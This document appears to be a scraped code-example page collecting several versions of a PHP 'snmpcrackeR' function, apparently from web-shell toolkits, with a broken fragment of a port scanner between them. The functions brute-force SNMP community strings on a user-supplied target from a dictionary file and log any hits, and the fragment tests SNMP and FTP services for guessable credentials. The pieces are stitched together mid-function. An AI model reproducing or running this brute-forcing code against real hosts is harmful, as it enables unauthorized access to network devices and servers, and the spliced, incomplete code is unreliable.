function snmpcrackeR()
{
    global $t, $et, $errorbox, $hcwd;
    if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])) {
        $target = $_REQUEST['target'];
        if (isset($_REQUEST['loG']) && !empty($_REQUEST['logfilE'])) {
            $log = 1;
            $file = $_REQUEST['logfilE'];
        } else {
            $log = 0;
        }
        $dictionary = fopen($_REQUEST['dictionary'], 'r');
        if ($dictionary) {
            echo '<font color=blue>Cracking ' . htmlspecialchars($target) . '...<br>';
            while (!feof($dictionary)) {
                $com = trim(fgets($dictionary), " \n\r");
                $res = snmpchecK($target, $com, 2);
                if ($res) {
                    echo "{$com}<br>";
                    if ($log) {
                        file_add_contentS($file, "{$com}\r\n");
                    }
                }
            }
            echo '<br>Done</font>';
            fclose($dictionary);
        } else {
            echo "{$errorbox} Can not open dictionary.{$et}";
        }
    } else {
        echo "<center>{$t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>{$hcwd}<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='" . whereistmP() . DIRECTORY_SEPARATOR . ".log'> <input class=buttons type=submit value=Start></form>{$et}</center>";
    }
}
示例#2
0
function snmpcrackeR()
{
    global $hcwd;
    if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])) {
        $target = $_REQUEST['target'];
        if (isset($_REQUEST['loG']) && !empty($_REQUEST['logfilE'])) {
            $log = 1;
            $file = $_REQUEST['logfilE'];
        } else {
            $log = 0;
        }
        $dictionary = fopen($_REQUEST['dictionary'], 'r');
        if ($dictionary) {
            echo '<font color=#FA0>Cracking ' . htmlspecialchars($target) . '...<br>';
            while (!feof($dictionary)) {
                $com = trim(fgets($dictionary), " \n\r");
                $res = snmpchecK($target, $com, 2);
                if ($res) {
                    echo "{$com}<br>";
                    if ($log) {
                        file_add_contentS($file, "{$com}\r\n");
                    }
                }
            }
            echo '<br>Done</font>';
            fclose($dictionary);
        } else {
            echo "Can not open dictionary.";
        }
    } else {
        echo '<form name=cracker method="POST">
<div class="fieldwrapper">
<label class="styled" style="width:320px">SNMP cracker</label>
</div><div class="fieldwrapper">
<label class="styled">Dictionary:</label>
<div class="thefield">
<input type="text" name="dictionary" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled">Target:</label>
<div class="thefield">
<input type="text" name="target" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
<div class="thefield">
<input type=text name=logfilE size=25 value="' . whereistmP() . DIRECTORY_SEPARATOR . '.log">
</div>
</div>
' . $hcwd . '
<div class="buttonsdiv">
<input type="submit" value="Start" style="margin-left: 150px;" />
</div>
</form>';
    }
}
             $output = 1;
         }
         flusheR();
     }
 }
 if (!empty($_REQUEST['snmpscanner'])) {
     if (checkthisporT($ip, 161, $timeout, 1)) {
         $com = $_REQUEST['com'];
         $coms = $res = "";
         if (strstr($com, ",")) {
             $c = explode(",", $com);
         } else {
             $c[0] = $com;
         }
         foreach ($c as $v) {
             $ret = snmpchecK($ip, $v, $timeout);
             if ($ret) {
                 $coms .= " {$v} ";
             }
         }
         if ($coms != "") {
             echo "{$ip}) SNMP FOUND: {$coms}<br>";
             $output = 1;
         }
         flusheR();
     }
 }
 if (!empty($_REQUEST['ftpscanner'])) {
     if (checkthisporT($ip, 21, $timeout)) {
         $usps = explode(',', $_REQUEST['userpass']);
         foreach ($usps as $v) {
示例#4
0
function snmpcrackeR()
{
    global $t, $et, $errorbox, $crack, $hcwd;
    if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])) {
        $target = $_REQUEST['target'];
        $dictionary = fopen($_REQUEST['dictionary'], 'r');
        if ($dictionary) {
            echo "<font color=blue>Cracking " . htmlspecialchars($target) . "...<br>";
            flusheR();
            while (!feof($dictionary)) {
                $com = trim(fgets($dictionary), " \n\r");
                $res = snmpchecK($target, $com, 2);
                if ($res) {
                    echo "{$com}<br>";
                }
                flusheR();
            }
            echo "<br>Done</font>";
            fclose($dictionary);
        } else {
            echo "{$errorbox} Can not open dictionary.{$et}";
        }
    } else {
        echo "<center>{$t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">{$hcwd}<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>";
    }
}